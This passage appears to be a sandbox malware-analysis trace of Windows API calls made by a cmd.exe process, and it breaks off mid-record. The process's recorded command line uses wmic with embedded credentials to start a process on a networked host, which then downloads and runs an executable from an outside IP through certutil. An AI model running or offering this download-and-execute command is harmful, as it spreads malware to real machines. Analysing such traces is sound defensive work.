id = 737 os_tid = 0x1040 Thread: id = 738 os_tid = 0x1280 Thread: id = 740 os_tid = 0x1020 Thread: id = 745 os_tid = 0x5ec Thread: id = 749 os_tid = 0x4cc Process: id = "18" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x19bc2000" os_pid = "0x124" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0xb7c" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /c wmic /node:192.168.0.171 /user:5p5NrGJn0jS HALPmcxz /password:6mnH7CdKK process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 743 os_tid = 0x1014 [0114.971] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x22fdb4 | out: lpSystemTimeAsFileTime=0x22fdb4*(dwLowDateTime=0x98fea5c0, dwHighDateTime=0x1d5ca1f)) [0114.971] GetCurrentProcessId () returned 0x124 [0114.971] GetCurrentThreadId () returned 0x1014 [0114.971] GetTickCount () returned 0x1164960 [0114.971] QueryPerformanceCounter (in: lpPerformanceCount=0x22fdac | out: lpPerformanceCount=0x22fdac*=25608101011) returned 1 [0114.972] GetModuleHandleA (lpModuleName=0x0) returned 0x4aa20000 [0114.972] __set_app_type (_Type=0x1) [0114.972] __p__fmode () returned 0x76be31f4 [0114.972] __p__commode () returned 0x76be31fc [0114.972] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4aa421a6) returned 0x0 [0114.972] __getmainargs (in: _Argc=0x4aa44238, _Argv=0x4aa44240, _Env=0x4aa4423c, _DoWildCard=0, _StartInfo=0x4aa44140 | out: _Argc=0x4aa44238, _Argv=0x4aa44240, _Env=0x4aa4423c) returned 0 [0114.972] GetCurrentThreadId () returned 0x1014 [0114.973] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x1014) returned 0x60 [0114.973] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0114.973] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0114.973] SetThreadUILanguage (LangId=0x0) returned 0x409 [0114.973] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0114.973] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x22fd44 | out: phkResult=0x22fd44*=0x0) returned 0x2 [0114.973] VirtualQuery (in: lpAddress=0x22fd7b, lpBuffer=0x22fd14, dwLength=0x1c | out: lpBuffer=0x22fd14*(BaseAddress=0x22f000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0114.973] VirtualQuery (in: lpAddress=0x130000, lpBuffer=0x22fd14, dwLength=0x1c | out: lpBuffer=0x22fd14*(BaseAddress=0x130000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0114.973] VirtualQuery (in: lpAddress=0x131000, lpBuffer=0x22fd14, dwLength=0x1c | out: lpBuffer=0x22fd14*(BaseAddress=0x131000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0114.973] VirtualQuery (in: lpAddress=0x133000, lpBuffer=0x22fd14, dwLength=0x1c | out: lpBuffer=0x22fd14*(BaseAddress=0x133000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0114.973] VirtualQuery (in: lpAddress=0x230000, lpBuffer=0x22fd14, dwLength=0x1c | out: lpBuffer=0x22fd14*(BaseAddress=0x230000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0114.973] GetConsoleOutputCP () returned 0x1b5 [0114.973] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aa44260 | out: lpCPInfo=0x4aa44260) returned 1 [0114.974] SetConsoleCtrlHandler (HandlerRoutine=0x4aa3e72a, Add=1) returned 1 [0114.974] _get_osfhandle (_FileHandle=1) returned 0x7 [0114.974] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0114.974] _get_osfhandle (_FileHandle=1) returned 0x7 [0114.974] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4aa441ac | out: lpMode=0x4aa441ac) returned 1 [0114.974] _get_osfhandle (_FileHandle=1) returned 0x7 [0114.974] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0114.974] _get_osfhandle (_FileHandle=0) returned 0x3 [0114.974] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4aa441b0 | out: lpMode=0x4aa441b0) returned 1 [0114.975] _get_osfhandle (_FileHandle=0) returned 0x3 [0114.975] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0114.975] GetEnvironmentStringsW () returned 0x2e2230* [0114.975] GetProcessHeap () returned 0x2d0000 [0114.975] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xaca) returned 0x2e2d08 [0114.975] FreeEnvironmentStringsW (penv=0x2e2230) returned 1 [0114.975] GetProcessHeap () returned 0x2d0000 [0114.975] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x4) returned 0x2dec30 [0114.975] GetEnvironmentStringsW () returned 0x2e2230* [0114.975] GetProcessHeap () returned 0x2d0000 [0114.975] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xaca) returned 0x2e37e0 [0114.975] FreeEnvironmentStringsW (penv=0x2e2230) returned 1 [0114.975] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x22ecb4 | out: phkResult=0x22ecb4*=0x68) returned 0x0 [0114.976] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x22ecbc, lpData=0x22ecc0, lpcbData=0x22ecb8*=0x1000 | out: lpType=0x22ecbc*=0x0, lpData=0x22ecc0*=0x0, lpcbData=0x22ecb8*=0x1000) returned 0x2 [0114.976] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x22ecbc, lpData=0x22ecc0, lpcbData=0x22ecb8*=0x1000 | out: lpType=0x22ecbc*=0x4, lpData=0x22ecc0*=0x1, lpcbData=0x22ecb8*=0x4) returned 0x0 [0114.976] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x22ecbc, lpData=0x22ecc0, lpcbData=0x22ecb8*=0x1000 | out: lpType=0x22ecbc*=0x0, lpData=0x22ecc0*=0x1, lpcbData=0x22ecb8*=0x1000) returned 0x2 [0114.976] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x22ecbc, lpData=0x22ecc0, lpcbData=0x22ecb8*=0x1000 | out: lpType=0x22ecbc*=0x4, lpData=0x22ecc0*=0x0, lpcbData=0x22ecb8*=0x4) returned 0x0 [0114.976] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x22ecbc, lpData=0x22ecc0, lpcbData=0x22ecb8*=0x1000 | out: lpType=0x22ecbc*=0x4, lpData=0x22ecc0*=0x40, lpcbData=0x22ecb8*=0x4) returned 0x0 [0114.976] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x22ecbc, lpData=0x22ecc0, lpcbData=0x22ecb8*=0x1000 | out: lpType=0x22ecbc*=0x4, lpData=0x22ecc0*=0x40, lpcbData=0x22ecb8*=0x4) returned 0x0 [0114.976] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x22ecbc, lpData=0x22ecc0, lpcbData=0x22ecb8*=0x1000 | out: lpType=0x22ecbc*=0x0, lpData=0x22ecc0*=0x40, lpcbData=0x22ecb8*=0x1000) returned 0x2 [0114.976] RegCloseKey (hKey=0x68) returned 0x0 [0114.976] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x22ecb4 | out: phkResult=0x22ecb4*=0x68) returned 0x0 [0114.976] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x22ecbc, lpData=0x22ecc0, lpcbData=0x22ecb8*=0x1000 | out: lpType=0x22ecbc*=0x0, lpData=0x22ecc0*=0x40, lpcbData=0x22ecb8*=0x1000) returned 0x2 [0114.976] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x22ecbc, lpData=0x22ecc0, lpcbData=0x22ecb8*=0x1000 | out: lpType=0x22ecbc*=0x4, lpData=0x22ecc0*=0x1, lpcbData=0x22ecb8*=0x4) returned 0x0 [0114.976] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x22ecbc, lpData=0x22ecc0, lpcbData=0x22ecb8*=0x1000 | out: lpType=0x22ecbc*=0x0, lpData=0x22ecc0*=0x1, lpcbData=0x22ecb8*=0x1000) returned 0x2 [0114.976] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x22ecbc, lpData=0x22ecc0, lpcbData=0x22ecb8*=0x1000 | out: lpType=0x22ecbc*=0x4, lpData=0x22ecc0*=0x0, lpcbData=0x22ecb8*=0x4) returned 0x0 [0114.976] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x22ecbc, lpData=0x22ecc0, lpcbData=0x22ecb8*=0x1000 | out: lpType=0x22ecbc*=0x4, lpData=0x22ecc0*=0x9, lpcbData=0x22ecb8*=0x4) returned 0x0 [0114.976] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x22ecbc, lpData=0x22ecc0, lpcbData=0x22ecb8*=0x1000 | out: lpType=0x22ecbc*=0x4, lpData=0x22ecc0*=0x9, lpcbData=0x22ecb8*=0x4) returned 0x0 [0114.976] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x22ecbc, lpData=0x22ecc0, lpcbData=0x22ecb8*=0x1000 | out: lpType=0x22ecbc*=0x0, lpData=0x22ecc0*=0x9, lpcbData=0x22ecb8*=0x1000) returned 0x2 [0114.976] RegCloseKey (hKey=0x68) returned 0x0 [0114.977] time (in: timer=0x0 | out: timer=0x0) returned 0x5e1c81b1 [0114.977] srand (_Seed=0x5e1c81b1) [0114.977] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c wmic /node:192.168.0.171 /user:5p5NrGJn0jS HALPmcxz /password:6mnH7CdKK process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"" [0114.977] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c wmic /node:192.168.0.171 /user:5p5NrGJn0jS HALPmcxz /password:6mnH7CdKK process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"" [0114.977] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4aa45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0114.977] GetProcessHeap () returned 0x2d0000 [0114.977] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x210) returned 0x2e2230 [0114.977] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2e2238, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0114.978] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0114.978] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0114.978] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0114.978] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0114.978] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0114.978] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0114.978] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0114.978] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0114.978] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0114.978] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0114.978] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0114.978] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0114.978] GetProcessHeap () returned 0x2d0000 [0114.978] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e2d08 | out: hHeap=0x2d0000) returned 1 [0114.978] GetEnvironmentStringsW () returned 0x2e2448* [0114.978] GetProcessHeap () returned 0x2d0000 [0114.978] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xae2) returned 0x2e4da8 [0114.978] FreeEnvironmentStringsW (penv=0x2e2448) returned 1 [0114.978] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0114.978] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0114.978] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0114.978] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0114.978] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0114.978] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0114.978] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0114.978] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0114.978] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0114.978] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0114.978] GetProcessHeap () returned 0x2d0000 [0114.979] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x54) returned 0x2e5898 [0114.979] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x22fa80 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0114.979] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x22fa80, lpFilePart=0x22fa7c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x22fa7c*="Desktop") returned 0x25 [0114.979] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0114.979] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x22f7fc | out: lpFindFileData=0x22f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x2e20b0 [0114.979] FindClose (in: hFindFile=0x2e20b0 | out: hFindFile=0x2e20b0) returned 1 [0114.979] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x22f7fc | out: lpFindFileData=0x22f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x2e20b0 [0114.979] FindClose (in: hFindFile=0x2e20b0 | out: hFindFile=0x2e20b0) returned 1 [0114.979] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0114.979] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x22f7fc | out: lpFindFileData=0x22f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68549420, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x68549420, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x2e20b0 [0114.979] FindClose (in: hFindFile=0x2e20b0 | out: hFindFile=0x2e20b0) returned 1 [0114.979] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0114.980] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0114.980] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0114.980] GetProcessHeap () returned 0x2d0000 [0114.980] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e4da8 | out: hHeap=0x2d0000) returned 1 [0114.980] GetEnvironmentStringsW () returned 0x2e42b8* [0114.980] GetProcessHeap () returned 0x2d0000 [0114.980] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xb36) returned 0x2e58f8 [0114.980] FreeEnvironmentStringsW (penv=0x2e42b8) returned 1 [0114.980] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4aa45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0114.980] GetProcessHeap () returned 0x2d0000 [0114.980] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5898 | out: hHeap=0x2d0000) returned 1 [0114.980] GetProcessHeap () returned 0x2d0000 [0114.980] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x400e) returned 0x2e6438 [0114.980] GetProcessHeap () returned 0x2d0000 [0114.980] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x190) returned 0x2d0ff0 [0114.980] GetProcessHeap () returned 0x2d0000 [0114.980] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e6438 | out: hHeap=0x2d0000) returned 1 [0114.980] GetConsoleOutputCP () returned 0x1b5 [0115.024] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aa44260 | out: lpCPInfo=0x4aa44260) returned 1 [0115.024] GetUserDefaultLCID () returned 0x409 [0115.024] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4aa44950, cchData=8 | out: lpLCData=":") returned 2 [0115.025] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x22fbc0, cchData=128 | out: lpLCData="0") returned 2 [0115.025] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x22fbc0, cchData=128 | out: lpLCData="0") returned 2 [0115.025] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x22fbc0, cchData=128 | out: lpLCData="1") returned 2 [0115.025] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4aa44940, cchData=8 | out: lpLCData="/") returned 2 [0115.025] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4aa44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0115.025] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4aa44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0115.025] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4aa44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0115.025] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4aa44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0115.025] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4aa44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0115.025] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4aa44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0115.025] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4aa44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0115.025] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4aa44930, cchData=8 | out: lpLCData=".") returned 2 [0115.025] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4aa44920, cchData=8 | out: lpLCData=",") returned 2 [0115.025] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0115.026] GetProcessHeap () returned 0x2d0000 [0115.026] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x20c) returned 0x2e2f88 [0115.026] GetConsoleTitleW (in: lpConsoleTitle=0x2e2f88, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0115.027] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0115.027] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0115.027] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0115.027] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0115.027] GetProcessHeap () returned 0x2d0000 [0115.027] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x400a) returned 0x2e6438 [0115.027] GetProcessHeap () returned 0x2d0000 [0115.027] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e6438 | out: hHeap=0x2d0000) returned 1 [0115.028] _wcsicmp (_String1="wmic", _String2=")") returned 78 [0115.028] _wcsicmp (_String1="FOR", _String2="wmic") returned -17 [0115.028] _wcsicmp (_String1="FOR/?", _String2="wmic") returned -17 [0115.028] _wcsicmp (_String1="IF", _String2="wmic") returned -14 [0115.028] _wcsicmp (_String1="IF/?", _String2="wmic") returned -14 [0115.028] _wcsicmp (_String1="REM", _String2="wmic") returned -5 [0115.028] _wcsicmp (_String1="REM/?", _String2="wmic") returned -5 [0115.028] GetProcessHeap () returned 0x2d0000 [0115.028] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x58) returned 0x2d1188 [0115.028] GetProcessHeap () returned 0x2d0000 [0115.028] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x12) returned 0x2d11e8 [0115.032] GetProcessHeap () returned 0x2d0000 [0115.032] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x184) returned 0x2e31a0 [0115.033] GetConsoleTitleW (in: lpConsoleTitle=0x22f8b8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0115.034] _wcsicmp (_String1="wmic", _String2="DIR") returned 19 [0115.034] _wcsicmp (_String1="wmic", _String2="ERASE") returned 18 [0115.034] _wcsicmp (_String1="wmic", _String2="DEL") returned 19 [0115.034] _wcsicmp (_String1="wmic", _String2="TYPE") returned 3 [0115.034] _wcsicmp (_String1="wmic", _String2="COPY") returned 20 [0115.034] _wcsicmp (_String1="wmic", _String2="CD") returned 20 [0115.034] _wcsicmp (_String1="wmic", _String2="CHDIR") returned 20 [0115.034] _wcsicmp (_String1="wmic", _String2="RENAME") returned 5 [0115.034] _wcsicmp (_String1="wmic", _String2="REN") returned 5 [0115.034] _wcsicmp (_String1="wmic", _String2="ECHO") returned 18 [0115.034] _wcsicmp (_String1="wmic", _String2="SET") returned 4 [0115.034] _wcsicmp (_String1="wmic", _String2="PAUSE") returned 7 [0115.034] _wcsicmp (_String1="wmic", _String2="DATE") returned 19 [0115.034] _wcsicmp (_String1="wmic", _String2="TIME") returned 3 [0115.034] _wcsicmp (_String1="wmic", _String2="PROMPT") returned 7 [0115.034] _wcsicmp (_String1="wmic", _String2="MD") returned 10 [0115.034] _wcsicmp (_String1="wmic", _String2="MKDIR") returned 10 [0115.034] _wcsicmp (_String1="wmic", _String2="RD") returned 5 [0115.034] _wcsicmp (_String1="wmic", _String2="RMDIR") returned 5 [0115.034] _wcsicmp (_String1="wmic", _String2="PATH") returned 7 [0115.034] _wcsicmp (_String1="wmic", _String2="GOTO") returned 16 [0115.034] _wcsicmp (_String1="wmic", _String2="SHIFT") returned 4 [0115.034] _wcsicmp (_String1="wmic", _String2="CLS") returned 20 [0115.034] _wcsicmp (_String1="wmic", _String2="CALL") returned 20 [0115.034] _wcsicmp (_String1="wmic", _String2="VERIFY") returned 1 [0115.034] _wcsicmp (_String1="wmic", _String2="VER") returned 1 [0115.034] _wcsicmp (_String1="wmic", _String2="VOL") returned 1 [0115.034] _wcsicmp (_String1="wmic", _String2="EXIT") returned 18 [0115.034] _wcsicmp (_String1="wmic", _String2="SETLOCAL") returned 4 [0115.034] _wcsicmp (_String1="wmic", _String2="ENDLOCAL") returned 18 [0115.034] _wcsicmp (_String1="wmic", _String2="TITLE") returned 3 [0115.034] _wcsicmp (_String1="wmic", _String2="START") returned 4 [0115.034] _wcsicmp (_String1="wmic", _String2="DPATH") returned 19 [0115.034] _wcsicmp (_String1="wmic", _String2="KEYS") returned 12 [0115.034] _wcsicmp (_String1="wmic", _String2="MOVE") returned 10 [0115.034] _wcsicmp (_String1="wmic", _String2="PUSHD") returned 7 [0115.034] _wcsicmp (_String1="wmic", _String2="POPD") returned 7 [0115.035] _wcsicmp (_String1="wmic", _String2="ASSOC") returned 22 [0115.035] _wcsicmp (_String1="wmic", _String2="FTYPE") returned 17 [0115.035] _wcsicmp (_String1="wmic", _String2="BREAK") returned 21 [0115.035] _wcsicmp (_String1="wmic", _String2="COLOR") returned 20 [0115.035] _wcsicmp (_String1="wmic", _String2="MKLINK") returned 10 [0115.035] _wcsicmp (_String1="wmic", _String2="DIR") returned 19 [0115.035] _wcsicmp (_String1="wmic", _String2="ERASE") returned 18 [0115.035] _wcsicmp (_String1="wmic", _String2="DEL") returned 19 [0115.035] _wcsicmp (_String1="wmic", _String2="TYPE") returned 3 [0115.035] _wcsicmp (_String1="wmic", _String2="COPY") returned 20 [0115.035] _wcsicmp (_String1="wmic", _String2="CD") returned 20 [0115.035] _wcsicmp (_String1="wmic", _String2="CHDIR") returned 20 [0115.035] _wcsicmp (_String1="wmic", _String2="RENAME") returned 5 [0115.035] _wcsicmp (_String1="wmic", _String2="REN") returned 5 [0115.035] _wcsicmp (_String1="wmic", _String2="ECHO") returned 18 [0115.035] _wcsicmp (_String1="wmic", _String2="SET") returned 4 [0115.035] _wcsicmp (_String1="wmic", _String2="PAUSE") returned 7 [0115.035] _wcsicmp (_String1="wmic", _String2="DATE") returned 19 [0115.035] _wcsicmp (_String1="wmic", _String2="TIME") returned 3 [0115.035] _wcsicmp (_String1="wmic", _String2="PROMPT") returned 7 [0115.035] _wcsicmp (_String1="wmic", _String2="MD") returned 10 [0115.035] _wcsicmp (_String1="wmic", _String2="MKDIR") returned 10 [0115.035] _wcsicmp (_String1="wmic", _String2="RD") returned 5 [0115.035] _wcsicmp 